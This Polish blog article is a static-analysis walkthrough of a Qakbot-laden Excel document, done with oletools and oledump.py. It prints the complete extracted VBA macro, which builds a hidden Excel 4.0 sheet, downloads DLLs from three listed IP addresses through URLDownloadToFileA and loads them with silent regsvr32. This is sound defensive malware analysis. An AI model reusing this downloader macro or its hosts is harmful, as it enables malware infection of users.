O statycznej analizie plików Microsoft Office słów kilka albo i więcej cz. II
Napisał: Piotr Kaczmarzyk
30/11/2021 w Bezpieczeństwo Brak komentarzy. (artykuł nr 804, ilość słów: 4871)
W
tej części będziemy kontynuować statyczną analizę przykładowego dokumentu, ale postaramy się zajrzeć trochę głębiej i znaleźć jakie akcje ma za zadanie przeprowadzić makro zawarte w dokumencie. Wspomożemy się tutaj świetnym zestawem narzędzi autorstwa Didiera Stevensa, tutaj warto, a nawet trzeba wspomnieć o narzędziach innego autora – Philippe Lagadeca, które znacząco ułatwiają analizę dokumentów MS Office. Obydwa zestawy narzędzi często nachodzą na siebie funkcjonalnością i często są używane wymiennie (często, aby zweryfikować rezultaty). Nie będę wchodził w szczegóły, kto jest autorem dokładnie, którego (to pozostawiam jako zadanie domowe dla Czytelnika). Dodatkowo zaznaczę, że nawet zaprezentowane narzędzia to tylko specyficzny wycinek (np. analiza obiektów OLE) wszystkich zasobów opublikowanych przez tych badaczy.
Na początek zakładam to, co w poprzedniej części, że posiadamy postawioną i uruchomioną maszynę wirtualną z systemem Linux. Najlepiej REMnux, która zawiera już omawiane zestawy narzędzi. Naszą analizę zaczniemy od trzech narzędzi:
I. olemeta:
remnux@remnux:~/Downloads/Qakbot$ olemeta Claim-1025548890-09242021.xls olemeta 0.54 - http://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues =============================================================================== FILE: Claim-1025548890-09242021.xls Properties from the SummaryInformation stream: +---------------------+------------------------------+ |Property |Value | +---------------------+------------------------------+ |codepage |1251 | |author |Test | |last_saved_by |Test | |create_time |2015-06-05 18:17:20 | |last_saved_time |2021-09-24 09:05:02 | |creating_application |Microsoft Excel | |security |0 | +---------------------+------------------------------+ Properties from the DocumentSummaryInformation stream: +---------------------+------------------------------+ |Property |Value | +---------------------+------------------------------+ |codepage_doc |1251 | |scale_crop |False | |company | | |links_dirty |False | |shared_doc |False | |hlinks_changed |False | |version |1048576 | +---------------------+------------------------------+
II. oleid:
remnux@remnux:~/Downloads/Qakbot$ oleid Claim-1025548890-09242021.xls oleid 0.60.dev1 - http://decalage.info/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues Filename: Claim-1025548890-09242021.xls --------------------+--------------------+----------+-------------------------- Indicator |Value |Risk |Description --------------------+--------------------+----------+-------------------------- File format |MS Excel 97-2003 |info | |Workbook or Template| | --------------------+--------------------+----------+-------------------------- Container format |OLE |info |Container type --------------------+--------------------+----------+-------------------------- Application name |Microsoft Excel |info |Application name declared | | |in properties --------------------+--------------------+----------+-------------------------- Properties code page|1251: ANSI Cyrillic;|info |Code page used for |Cyrillic (Windows) | |properties --------------------+--------------------+----------+-------------------------- Author |Test |info |Author declared in | | |properties --------------------+--------------------+----------+-------------------------- Encrypted |False |none |The file is not encrypted --------------------+--------------------+----------+-------------------------- VBA Macros |Yes, suspicious |HIGH |This file contains VBA | | |macros. Suspicious | | |keywords were found. Use | | |olevba and mraptor for | | |more info. --------------------+--------------------+----------+-------------------------- XLM Macros |No |none |This file does not contain | | |Excel 4/XLM macros. --------------------+--------------------+----------+-------------------------- External |0 |none |External relationships Relationships | | |such as remote templates, | | |remote OLE objects, etc --------------------+--------------------+----------+--------------------------
III. oletimes:
remnux@remnux:~/Downloads/Qakbot$ oletimes Claim-1025548890-09242021.xls oletimes 0.54 - http://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues ========================================================================== FILE: Claim-1025548890-09242021.xls +----------------------------+---------------------+---------------------+ | Stream/Storage name | Modification Time | Creation Time | +----------------------------+---------------------+---------------------+ | Root | 2021-09-24 09:05:19 | 2021-09-24 08:47:24 | | '\x01CompObj' | None | None | | '\x05DocumentSummaryInform | None | None | | ation' | | | | '\x05SummaryInformation' | None | None | | 'Workbook' | None | None | | '_VBA_PROJECT_CUR' | 2021-09-24 09:05:02 | 2021-09-24 09:05:02 | | '_VBA_PROJECT_CUR/PROJECT' | None | None | | '_VBA_PROJECT_CUR/PROJECTw | None | None | | m' | | | | '_VBA_PROJECT_CUR/UserForm | 2021-09-24 09:05:02 | 2021-09-24 09:05:02 | | 1' | | | | '_VBA_PROJECT_CUR/UserForm | None | None | | 1/\x01CompObj' | | | | '_VBA_PROJECT_CUR/UserForm | None | None | | 1/\x03VBFrame' | | | | '_VBA_PROJECT_CUR/UserForm | None | None | | 1/f' | | | | '_VBA_PROJECT_CUR/UserForm | None | None | | 1/o' | | | | '_VBA_PROJECT_CUR/VBA' | 2021-09-24 09:05:02 | 2021-09-24 09:05:02 | | '_VBA_PROJECT_CUR/VBA/Modu | None | None | | le1' | | | | '_VBA_PROJECT_CUR/VBA/Shee | None | None | | t1' | | | | '_VBA_PROJECT_CUR/VBA/This | None | None | | Workbook' | | | | '_VBA_PROJECT_CUR/VBA/User | None | None | | Form1' | | | | '_VBA_PROJECT_CUR/VBA/_VBA | None | None | | _PROJECT' | | | | '_VBA_PROJECT_CUR/VBA/__SR | None | None | | P_0' | | | | '_VBA_PROJECT_CUR/VBA/__SR | None | None | | P_1' | | | | '_VBA_PROJECT_CUR/VBA/__SR | None | None | | P_2' | | | | '_VBA_PROJECT_CUR/VBA/__SR | None | None | | P_3' | | | | '_VBA_PROJECT_CUR/VBA/dir' | None | None | +----------------------------+---------------------+---------------------+
Powyższe narzędzia prezentują podsumowanie informacji odnośnie analizowanego pliku, część z tych informacji już widzieliśmy w poprzedniej części artykułu. Podane są nam dane między innymi odnośnie typu pliku, czasu utworzenia pliku, ale również daty modyfikacji poszczególnych komponentów. Jedno z narzędzi daje również ocenę potencjalnego ryzyka związanego z wykrytą funkcjonalnością (This file contains VBA macros. Suspicious keywords were found.). Inne narzędzia, którymi możemy wyciągnąć parę ciekawych informacji to: oledir
oraz olemap
. Jednak w naszym przypadku nie wnoszą one nic interesującego i w ramach przejrzystości publikacji nie będziemy prezentować ich wyników. Przechodząc dalej: oledump.py
jest swoistego rodzaju szwajcarskim scyzorykiem do analizy plików OLE. Posiada on bardzo dużą liczbę przełączników, które w praktyce umożliwiają wyciągnięcie tych samych informacji, co powyżej. Chociażby szybki przykład:
remnux@remnux:~/Downloads/Qakbot$ oledump.py -M Claim-1025548890-09242021.xls Properties SummaryInformation: codepage: 1251 ANSI Cyrillic; Cyrillic (Windows) author: b'Test' last_saved_by: b'Test' create_time: 2015-06-05 18:17:20 last_saved_time: 2021-09-24 09:05:02 creating_application: b'Microsoft Excel' security: 0 Properties DocumentSummaryInformation: codepage_doc: 1251 ANSI Cyrillic; Cyrillic (Windows) scale_crop: False company: b'' links_dirty: False shared_doc: False hlinks_changed: False version: 1048576
Wracając jednak do analizowanego pliku, w pierwszej kolejności wykonujemy czyste polecenie oledump.py
:
remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls 1: 108 '\x01CompObj' 2: 244 '\x05DocumentSummaryInformation' 3: 208 '\x05SummaryInformation' 4: 391141 'Workbook' 5: 661 '_VBA_PROJECT_CUR/PROJECT' 6: 116 '_VBA_PROJECT_CUR/PROJECTwm' 7: 97 '_VBA_PROJECT_CUR/UserForm1/\x01CompObj' 8: 301 '_VBA_PROJECT_CUR/UserForm1/\x03VBFrame' 9: 263 '_VBA_PROJECT_CUR/UserForm1/f' 10: 272 '_VBA_PROJECT_CUR/UserForm1/o' 11: M 4112 '_VBA_PROJECT_CUR/VBA/Module1' 12: m 991 '_VBA_PROJECT_CUR/VBA/Sheet1' 13: M 2774 '_VBA_PROJECT_CUR/VBA/ThisWorkbook' 14: m 1180 '_VBA_PROJECT_CUR/VBA/UserForm1' 15: 3819 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT' 16: 2035 '_VBA_PROJECT_CUR/VBA/__SRP_0' 17: 138 '_VBA_PROJECT_CUR/VBA/__SRP_1' 18: 264 '_VBA_PROJECT_CUR/VBA/__SRP_2' 19: 256 '_VBA_PROJECT_CUR/VBA/__SRP_3' 20: 865 '_VBA_PROJECT_CUR/VBA/dir'
Widzimy tutaj przy strumieniach danych od 11 do 14 specyficzne oznaczenia. Z dokumentacji narzędzia wynika, że wydając polecenie: oledump.py -m
możemy dowiedzieć się o ich znaczeniu:
Overview of indicators: M: Macro (attributes and code) m: macro (attributes without code) E: Error (code that throws an error when decompressed) !: Unusual macro (code without attributes) O: object (embedded file) .: storage R: root entry
Może przedwcześnie zdradzę, ale najciekawsze rzeczy dzieją się w strumieniu o numerze 11 i to ten strumień sobie wytniemy (zachęcam również do sprawdzenia pozostałych):
remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls -s 11 -v Attribute VB_Name = "Module1" Sub auto_open() On Error Resume Next Drezden = "=" Naret = "EXEC" Application.ScreenUpdating = False Gert Sheets("Sheet5").Visible = False Sheets("Sheet5").Range("A1:M100").Font.Color = vbWhite Sheets("Sheet5").Range("H24") = UserForm1.Label1.Caption Sheets("Sheet5").Range("H25") = UserForm1.Label3.Caption Sheets("Sheet5").Range("H26") = UserForm1.Label4.Caption Sheets("Sheet5").Range("K17") = "=NOW()" Sheets("Sheet5").Range("K18") = ".dat" Sheets("Sheet5").Range("K18") = ".dat" Sheets("Sheet5").Range("H35") = "=HALT()" Sheets("Sheet5").Range("I9") = UserForm1.Label2.Caption Sheets("Sheet5").Range("I10") = UserForm1.Caption Sheets("Sheet5").Range("I11") = "J" & "J" & "C" & "C" & "B" & "B" Sheets("Sheet5").Range("I12") = "Byukilos" Sheets("Sheet5").Range("G10") = "..\Fiosa.der" Sheets("Sheet5").Range("G11") = "..\Fiosa1.der" Sheets("Sheet5").Range("G12") = "..\Fiosa2.der" Sheets("Sheet5").Range("I17") = "regsvr32 -silent ..\Fiosa.der" Sheets("Sheet5").Range("I18") = "regsvr32 -silent ..\Fiosa1.der" Sheets("Sheet5").Range("I19") = "regsvr32 -silent ..\Fiosa2.der" Sheets("Sheet5").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)" Sheets("Sheet5").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)" Sheets("Sheet5").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)" Sheets("Sheet5").Range("H9") = Drezden & "REGISTER(I9,I10&J10,I11,I12,,1,9)" Sheets("Sheet5").Range("H17") = Drezden & Naret & "(I17)" Sheets("Sheet5").Range("H18") = Drezden & Naret & "(I18)" Sheets("Sheet5").Range("H19") = Drezden & Naret & "(I19)" Application.Run Sheets("Sheet5").Range("H1") End Sub Sub auto_close() On Error Resume Next Application.ScreenUpdating = True Application.DisplayAlerts = False Sheets("Sheet5").Delete Application.DisplayAlerts = True End Sub Function Gert() Set Fera = Excel4IntlMacroSheets Fera.Add.Name = "Sheet5" End Function
Widzimy tu ciekawe makro z pewną dozą zaciemnienia kodu, ale po kolei. Każdej osobie choć trochę zaznajomionej z analizą dokumentów MS Office od razu powinny wpaść w oko: Sub auto_open()
i Sub auto_close()
, które powodują wykonanie makra w momencie otwarcia i zamknięcia dokumentu. Ale najciekawsza jest tu funkcja pod koniec, a konkretnie linia: Set Fera = Excel4IntlMacroSheets
powodująca wstrzyknięcie makra xlm (w wersji Excel 4.0) do nowego arkusza. Następnie widzimy, że ten nowo utworzony arkusz otrzymuje nazwę “Sheet5”. Idąc trochę dalej w analizie (a raczej wcześniej, biorąc pod uwagę budowę marka) można się przekonać, że cały arkusz jest również później usuwany: Sheets("Sheet5").Delete
. Jako, iż został stworzony nowy arkusz to trzeba nadać wartości poszczególnych komórek według schematu: Sheets("Sheet5").Range("X") = "XYZ
, ale kluczowe są tu linie typu Sheets("Sheet5").Range("H24") = UserForm1.Label1.Caption
– ta wartość jest zaszyta w samym dokumencie, makro ją pobiera i przetwarza. Te wartości możemy również wyświetlić za pomocą oledump.py
, są one w innych strumieniach danych:
remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls -s 8 -S VERSION 5.00 Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1 Caption = "URLDownloadToFileA" ClientHeight = 3015 ClientLeft = 120 ClientTop = 465 ClientWidth = 4560 StartUpPosition = 1 'CenterOwner TypeInfoVer = 4 remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls -s 9 -S Tahoma Label1 Label2 Label3 Label4 remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls -s 10 -S http://190.14.37.173/ Tahoma uRlMon Tahoma http://111.90.148.104/ Tahoma http://51.89.115.111/ Tahoma
Element zaciemniania kodu jest tu dość prosty do rozszyfrowania i polega na “porozrzucaniu” elementów poleceń w różnych komórkach. W poniższych liniach ściągamy i zapisujemy payload z zapisanego w dokumencie URL, dla przykładu:
Sheets("Sheet5").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)" Sheets("Sheet5").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)" Sheets("Sheet5").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)" Sheets("Sheet5").Range("H9") = Drezden & "REGISTER(I9,I10&J10,I11,I12,,1,9)" # Odwołanie do: http://190.14.37.173/ Sheets("Sheet5").Range("H24") = UserForm1.Label1.Caption Sheets("Sheet5").Range("K17") = "=NOW()" Sheets("Sheet5").Range("K18") = ".dat" Sheets("Sheet5").Range("G10") = "..\Fiosa.der"
W identyczny sposób należy podejść do kolejnych wierszy. Nie jest to idealna metoda, oczywiście z punktu widzenia maszyny nie ma większego znaczenia, ale daje dobre pojęcie o intencjach autora skryptu. Osoby bardziej uważne mogą zauważyć, że do ściągnięcia ładunku używana jest funkcja URLDownloadToFileA
z biblioteki urlmon.dll.
# Odwołanie do: uRlMon Sheets("Sheet5").Range("I9") = UserForm1.Label2.Caption # Odwołanie do: URLDownloadToFileA Sheets("Sheet5").Range("I10") = UserForm1.Caption
“DLLkę” ładujemy do systemu w linijce: Sheets("Sheet5").Range("H17") = Drezden & Naret & "(I17)"
, która odwołuje się do: Sheets("Sheet5").Range("I17") = "regsvr32 -silent ..\Fiosa.der"
. I tak doszliśmy do końca tego dokumentu. Jak mogliśmy zobaczyć tworzy nowy arkusz z makrem xlm, a następnie ściąga i ładuje do systemu “nowy” plik DLL. Ciekawostką jest tutaj to, że tak spreparowane makro xlm (w wersji Excel 4.0) nie zostało wykryte:
XLM Macros |No |none |This file does not contain | | |Excel 4/XLM macros.
Oznacza to tyle, że w przeciwieństwie do makr w VBA, makra XLM (z Excel 4.0) były ukrytym klejnotem dla cyberprzestępców i okazały się bardzo dobrą alternatywą dla makr VBA do atakowania użytkowników. Na koniec warto wspomnieć o narzędziu olvba
, które daje bardzo podobne wyniki jak oledump.py
i również wycina makra, ale samo wybiera strumienie, z których należy je wyciąć. Tym samym mamy tu większy poziom automatyzacji, ale w mojej opinii jest trochę mniej uniwersalne.
Więcej informacji: oledump.py, oletools